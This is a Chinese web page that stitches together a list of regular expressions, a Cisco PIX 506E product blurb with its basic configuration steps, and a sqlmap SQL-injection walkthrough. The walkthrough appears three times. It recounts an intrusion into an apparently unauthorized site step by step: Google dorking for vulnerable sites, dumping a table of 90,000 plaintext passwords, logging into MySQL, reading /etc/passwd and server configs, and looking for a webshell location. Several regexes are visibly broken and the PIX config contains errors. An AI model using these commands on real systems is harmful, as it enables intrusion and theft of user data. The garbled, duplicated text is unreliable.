正则表达式用于字符串处理、表单验证等场合,实用高效。现将一些常用的表达式收集于此,以备不时之需。
匹配中文字符的正则表达式: [\u4e00-\u9fa5]
评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^\x00-\xff]
评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

匹配空白行的正则表达式:\n\s*\r
评注:可以用来删除空白行

匹配HTML标记的正则表达式:<(\S?)[^>]>.?</\1>|<.? />
评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^\s|\s$
评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配Email地址的正则表达式:\w+([-+.]\w+)@\w+([-.]\w+).\w+([-.]\w+)*
评注:表单验证时很实用

匹配网址URL的正则表达式:[a-zA-z]+://[^\s]*
评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注:表单验证时很实用

匹配国内电话号码:\d{3}-\d{8}|\d{4}-\d{7}
评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号:[1-9][0-9]{4,}
评注:腾讯QQ号从10000开始

匹配中国邮政编码:[1-9]\d{5}(?!\d)
评注:中国邮政编码为6位数字

匹配身份证:\d{15}|\d{18}
评注:中国的身份证为15位或18位

匹配ip地址:\d+.\d+.\d+.\d+
评注:提取ip地址时有用

匹配特定数字:
^[1-9]\d$    //匹配正整数
^-[1-9]\d
$   //匹配负整数
^-?[1-9]\d$   //匹配整数
^[1-9]\d
|0$  //匹配非负整数(正整数 + 0)
^-[1-9]\d|0$   //匹配非正整数(负整数 + 0)
^[1-9]\d
.\d|0.\d[1-9]\d$   //匹配正浮点数
^-([1-9]\d
.\d|0.\d[1-9]\d)$  //匹配负浮点数
^-?([1-9]\d
.\d|0.\d[1-9]\d|0?.0+|0)$  //匹配浮点数
^[1-9]\d
.\d|0.\d[1-9]\d|0?.0+|0$   //匹配非负浮点数(正浮点数 + 0)
^(-([1-9]\d
.\d|0.\d[1-9]\d*))|0?.0+|0$  //匹配非正浮点数(负浮点数 + 0)
评注:处理大量数据时有用,具体应用时注意修正

匹配特定字符串:
^[A-Za-z]+$  //匹配由26个英文字母组成的字符串
^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
^\w+$  //匹配由数字、26个英文字母或者下划线组成的字符串

Cisco PIX 506E防火墙是应用极为广泛的Cisco PIX506防火墙的增强版本,可以通过一个可靠的、强大的安全设备为远程办公室和分支机构提供企业级的安全性。Cisco PIX506E防火墙是市场领先的CiscoPIX防火墙系列的一部分,可以通过一个经济有效的、高性能的解决方案提供丰富的安全功能和强大的远程管理功能,尤其适用于为远程/分支机构保障互联网连接。PIX 506E还提供了更高的3DES VPN性能,在使用某些应用时,性能比PIX 506高出70%。
针对远程办公室/分支机构环境的企业级安全性
Cisco PIX506E防火墙是一种针对特定需求而设计的安全设备,可以在单独的一个设备中提供丰富的安全服务,包括状态监测防火墙、虚拟专用网(VPN)和入侵防范等。利用思科最新的自适应安全算法(ASA)和PIX操作系统,PIX506E可以确保其后的所有用户的安全,并可以帮助他们防范互联网的潜在威胁。它的功能强大的状态监测技术可以跟踪所有经过授权的用户的网络请求,防止未经授权的网络访问。利用PIX 506E灵活的访问控制功能,管理员还可以对经过防火墙的网络流量实施定制的策略。PIX506E与您的后端企业数据库无缝集成,因此可以通过直接使用TACACS/RADIUS或间接使用Cisco安全访问控制服务器(ACS)对外部对网络资源的访问进行严格的验证。
Cisco PIX506E防火墙还可以利用其基于标准的互联网密钥交换(IKE)/IP安全(IPSec)VPN功能,确保远程办公机构通过互联网与企业网络之间进行的所有网络通信的安全。通过利用56位数据加密标准(DES)或者可选的高级168位三重DES(3DES)加密对数据进行加密,当您的敏感企业数据安全地在互联网中传输时,别人将无法窥探到它们。
PIX 506E的集成化的入侵防范功能可以防止您的网络受到各种常见的攻击。通过查找超过55种不同的攻击”签名”,PIX可以严格检测各种攻击,并可以实时地阻截它们或者向您发出通知。
强大的远程管理功能
Cisco PIX506E是一个可靠的、便于维护的平台,可以提供多种配置、监控和诊断方式。PIX管理解决方案的范围非常广泛――从一个集成化的、基于Web的管理工具到集中的、基于策略的工具,以及对各种远程监控协议的支持,例如简单网络管理协议(SNMP)和系统日志。
PIX设备管理器(PDM)可以为管理员提供一个直观的、基于Web的界面,从而使他们可以方便地配置和监控一台PIX 506E,而不需要在管理员的计算机上安装任何软件(除了一个标准的Web浏览器以外)。管理员可以利用PIX506E所提供的命令行界面(CLI),通过多种方式(包括远程登陆、安全解释程序(SSH),以及通过控制端口实现的带外接入)对PIX506E进行远程配置、监控和诊断。
管理员还可以通过CiscoVPN/安全管理解决方案(VMS)中提供的Cisco安全策略管理器(CSPM)方便地对很多PX 506E防火墙进行远程管理。CSPM3.0是一种可扩展的、下一代的PIX防火墙集中管理解决方案,具有多种功能,包括基于任务的接口、交互式网络拓扑图、策略向导、策略输出功能等等。

打开某端口给某台机器(假设IP为1.1.1.1):
conduit permit tcp host 1.1.1.1 eq 2000 any any
查看端口打开状态,应该用show static吧,记不清了。

以下是pix506的基本配置:

1、 给PIX506接上电源,并打开电脑主机。
2、 将CONSOLE口连接到主机的串口上,运行Hyperterminal程序,从CONSOLE口进入PIX系统。
3、 进入特权模式
PIX> enable
PIX#
4、 进入全局控制模式并设置密码
PIX#configure terminal
PIX(config)#passwd chenhong
5、 更改PIX主机名并设置允许TELNET PIX的地址范围
PIX(config)#hostname MFPIX
MFPIX (config)#telnet 10.8.0.0 255.255.254.0 inside
6、 配置以太口参数,将所有端口(E0、E1)设置为自适应网卡类型。
MFPIX (config)#interface ethernet0 auto
MFPIX (config)#interface ethernet1 auto
7、 指定内外部接口,并指定安全级别(默认Ethernet0为外网接口,Ethernet1为内网接口,因此一般情况下,不建议更改,省倒此步)。
MFPIX (config)#nameif e0 outside security0
MFPIX (config)#nameif e1 outside security100
8、 配置内部和外部接口IP地址
MFPIX (config)#ip address inside 192.168.2.1 255.255.255.252
MFPIX (config)#ip address outside 211.96.81.30 255.255.255.240
9、 指定一个外部IP地址或地址范围
MFPIX (config)#global (outside) 1 211.96.81.18-211.96.81.29
10、定义内定需要进行地址转换的IP地址范围
MFPIX (config)#nat (inside) 1 10.8.0.0 255.255.254.0
MFPIX (config)#nat (inside) 1 10.8.6.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.7.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.8.0 255.255.224.0
11、给内部某个主机配置一个静态的公网IP地址
MFPIX (config)#static (inside,outside) 211.96.81.20 10.8.0.9
MFPIX (config)#static (inside,outside) 211.96.81.21 10.8.0.79
12、设置指向内网和外网的缺少路由
MFPIX (config)#route outside 0.0.0.0 0.0.0.0 211.96.81.17
MFPIX (config)#route inside 10.8.0.0 255.255.254.0
MFPIX (config)#route inside 10.8.6.0 255.255.255.192
MFPIX (config)#route inside 10.8.7.0 255.255.255.192
MFPIX (config)#route inside 10.8.8.0 255.255.255.224
13、设置控制选项
发布WEB、邮件服务器
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq www any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq smpt any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq pop3 any
MFPIX (config)#conduit permit tcp host 211.96.81.21 eq 3389 any
允许内外部PING内部部和外部主机
MFPIX (config)#conduit permit icmp any any
14、基本设置完毕

Cisco PIX 506E防火墙是应用极为广泛的Cisco PIX506防火墙的增强版本,可以通过一个可靠的、强大的安全设备为远程办公室和分支机构提供企业级的安全性。Cisco PIX506E防火墙是市场领先的CiscoPIX防火墙系列的一部分,可以通过一个经济有效的、高性能的解决方案提供丰富的安全功能和强大的远程管理功能,尤其适用于为远程/分支机构保障互联网连接。PIX 506E还提供了更高的3DES VPN性能,在使用某些应用时,性能比PIX 506高出70%。
针对远程办公室/分支机构环境的企业级安全性
Cisco PIX506E防火墙是一种针对特定需求而设计的安全设备,可以在单独的一个设备中提供丰富的安全服务,包括状态监测防火墙、虚拟专用网(VPN)和入侵防范等。利用思科最新的自适应安全算法(ASA)和PIX操作系统,PIX506E可以确保其后的所有用户的安全,并可以帮助他们防范互联网的潜在威胁。它的功能强大的状态监测技术可以跟踪所有经过授权的用户的网络请求,防止未经授权的网络访问。利用PIX 506E灵活的访问控制功能,管理员还可以对经过防火墙的网络流量实施定制的策略。PIX506E与您的后端企业数据库无缝集成,因此可以通过直接使用TACACS/RADIUS或间接使用Cisco安全访问控制服务器(ACS)对外部对网络资源的访问进行严格的验证。
Cisco PIX506E防火墙还可以利用其基于标准的互联网密钥交换(IKE)/IP安全(IPSec)VPN功能,确保远程办公机构通过互联网与企业网络之间进行的所有网络通信的安全。通过利用56位数据加密标准(DES)或者可选的高级168位三重DES(3DES)加密对数据进行加密,当您的敏感企业数据安全地在互联网中传输时,别人将无法窥探到它们。
PIX 506E的集成化的入侵防范功能可以防止您的网络受到各种常见的攻击。通过查找超过55种不同的攻击”签名”,PIX可以严格检测各种攻击,并可以实时地阻截它们或者向您发出通知。
强大的远程管理功能
Cisco PIX506E是一个可靠的、便于维护的平台,可以提供多种配置、监控和诊断方式。PIX管理解决方案的范围非常广泛――从一个集成化的、基于Web的管理工具到集中的、基于策略的工具,以及对各种远程监控协议的支持,例如简单网络管理协议(SNMP)和系统日志。
PIX设备管理器(PDM)可以为管理员提供一个直观的、基于Web的界面,从而使他们可以方便地配置和监控一台PIX 506E,而不需要在管理员的计算机上安装任何软件(除了一个标准的Web浏览器以外)。管理员可以利用PIX506E所提供的命令行界面(CLI),通过多种方式(包括远程登陆、安全解释程序(SSH),以及通过控制端口实现的带外接入)对PIX506E进行远程配置、监控和诊断。
管理员还可以通过CiscoVPN/安全管理解决方案(VMS)中提供的Cisco安全策略管理器(CSPM)方便地对很多PX 506E防火墙进行远程管理。CSPM3.0是一种可扩展的、下一代的PIX防火墙集中管理解决方案,具有多种功能,包括基于任务的接口、交互式网络拓扑图、策略向导、策略输出功能等等。

打开某端口给某台机器(假设IP为1.1.1.1):
conduit permit tcp host 1.1.1.1 eq 2000 any any
查看端口打开状态,应该用show static吧,记不清了。

以下是pix506的基本配置:

1、 给PIX506接上电源,并打开电脑主机。
2、 将CONSOLE口连接到主机的串口上,运行Hyperterminal程序,从CONSOLE口进入PIX系统。
3、 进入特权模式
PIX> enable
PIX#
4、 进入全局控制模式并设置密码
PIX#configure terminal
PIX(config)#passwd chenhong
5、 更改PIX主机名并设置允许TELNET PIX的地址范围
PIX(config)#hostname MFPIX
MFPIX (config)#telnet 10.8.0.0 255.255.254.0 inside
6、 配置以太口参数,将所有端口(E0、E1)设置为自适应网卡类型。
MFPIX (config)#interface ethernet0 auto
MFPIX (config)#interface ethernet1 auto
7、 指定内外部接口,并指定安全级别(默认Ethernet0为外网接口,Ethernet1为内网接口,因此一般情况下,不建议更改,省倒此步)。
MFPIX (config)#nameif e0 outside security0
MFPIX (config)#nameif e1 outside security100
8、 配置内部和外部接口IP地址
MFPIX (config)#ip address inside 192.168.2.1 255.255.255.252
MFPIX (config)#ip address outside 211.96.81.30 255.255.255.240
9、 指定一个外部IP地址或地址范围
MFPIX (config)#global (outside) 1 211.96.81.18-211.96.81.29
10、定义内定需要进行地址转换的IP地址范围
MFPIX (config)#nat (inside) 1 10.8.0.0 255.255.254.0
MFPIX (config)#nat (inside) 1 10.8.6.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.7.0 255.255.192.0
MFPIX (config)#nat (inside) 1 10.8.8.0 255.255.224.0
11、给内部某个主机配置一个静态的公网IP地址
MFPIX (config)#static (inside,outside) 211.96.81.20 10.8.0.9
MFPIX (config)#static (inside,outside) 211.96.81.21 10.8.0.79
12、设置指向内网和外网的缺少路由
MFPIX (config)#route outside 0.0.0.0 0.0.0.0 211.96.81.17
MFPIX (config)#route inside 10.8.0.0 255.255.254.0
MFPIX (config)#route inside 10.8.6.0 255.255.255.192
MFPIX (config)#route inside 10.8.7.0 255.255.255.192
MFPIX (config)#route inside 10.8.8.0 255.255.255.224
13、设置控制选项
发布WEB、邮件服务器
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq www any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq smpt any
MFPIX (config)#conduit permit tcp host 211.96.81.20 eq pop3 any
MFPIX (config)#conduit permit tcp host 211.96.81.21 eq 3389 any
允许内外部PING内部部和外部主机
MFPIX (config)#conduit permit icmp any any
14、基本设置完毕

sqlmap是个sql注入扫描工具,python语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过google查询来找到有sql注入的网站,不过python中使用www.google.com ,
对中国的用户会出错,找到源代码, 位于lib/utils/google.py ,替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g “allinurl: php?id=”

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677
找到数据库 mysql ,apache服务。
查看当前mysql用户
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-user
查看数据库
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-db
查看用户权限,运气好,root为管理员,接下来就简单了。
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –privileges
查看表名
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –tables
找到用户表,users ,下载
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –dump -T “users

下载后,可以看到所有用户,有9万条数据密码居然不加密,找到admin 和密码。

登陆网页界面,没有管理界面,上传不了webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆ssh ,不行。
直接mysql登陆,成功 。
接下来就是mysql提权了,不过mysql不是root用户运行,权限不够,mysql 5.1版本,UDF 用不了 。
只能利用 mysql 的load data in file 尝试获取系统信息:
登陆mysql后:
use dnnamexxx;
create table test (t varchar(3000));
load data infile ‘/etc/passwd’ into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取shadow ,失败,权限不够。

用sqlmap 直接下载系统文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/my.cnf
下载mysql配置文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到root 。

sqlmap是个sql注入扫描工具,python语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过google查询来找到有sql注入的网站,不过python中使用www.google.com ,
对中国的用户会出错,找到源代码, 位于lib/utils/google.py ,替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g “allinurl: php?id=”

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677
找到数据库 mysql ,apache服务。
查看当前mysql用户
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-user
查看数据库
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-db
查看用户权限,运气好,root为管理员,接下来就简单了。
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –privileges
查看表名
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –tables
找到用户表,users ,下载
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –dump -T “users

下载后,可以看到所有用户,有9万条数据密码居然不加密,找到admin 和密码。

登陆网页界面,没有管理界面,上传不了webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆ssh ,不行。
直接mysql登陆,成功 。
接下来就是mysql提权了,不过mysql不是root用户运行,权限不够,mysql 5.1版本,UDF 用不了 。
只能利用 mysql 的load data in file 尝试获取系统信息:
登陆mysql后:
use dnnamexxx;
create table test (t varchar(3000));
load data infile ‘/etc/passwd’ into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取shadow ,失败,权限不够。

用sqlmap 直接下载系统文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/my.cnf
下载mysql配置文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/httpd/conf/httpd.conf

功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到root 。

sqlmap是个sql注入扫描工具,python语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过google查询来找到有sql注入的网站,不过python中使用www.google.com ,
对中国的用户会出错,找到源代码, 位于lib/utils/google.py ,替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g “allinurl: php?id=”

对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677

python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677
找到数据库 mysql ,apache服务。
查看当前mysql用户
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-user
查看数据库
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –current-db
查看用户权限,运气好,root为管理员,接下来就简单了。
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –privileges
查看表名
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –tables
找到用户表,users ,下载
python sqlmap.py -u “http://www.xxxx.net/userdetail.mpl?userid=133677“ –dbms=mysql –dump -T “users

下载后,可以看到所有用户,有9万条数据密码居然不加密,找到admin 和密码。

登陆网页界面,没有管理界面,上传不了webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆ssh ,不行。
直接mysql登陆,成功 。
接下来就是mysql提权了,不过mysql不是root用户运行,权限不够,mysql 5.1版本,UDF 用不了 。
只能利用 mysql 的load data in file 尝试获取系统信息:
登陆mysql后:
use dnnamexxx;
create table test (t varchar(3000));
load data infile ‘/etc/passwd’ into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取shadow ,失败,权限不够。

用sqlmap 直接下载系统文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/my.cnf
下载mysql配置文件
sqlmap -d “mysql://root:xxxx@xx.xx.xx.xx:3306/dbname” –file-read=/etc/httpd/conf/httpd.conf
未命名.jpg

下载 (42.6 KB)

2012-8-10 12:32


功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用perl ,不熟悉,暂时先到这里。

总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到root 。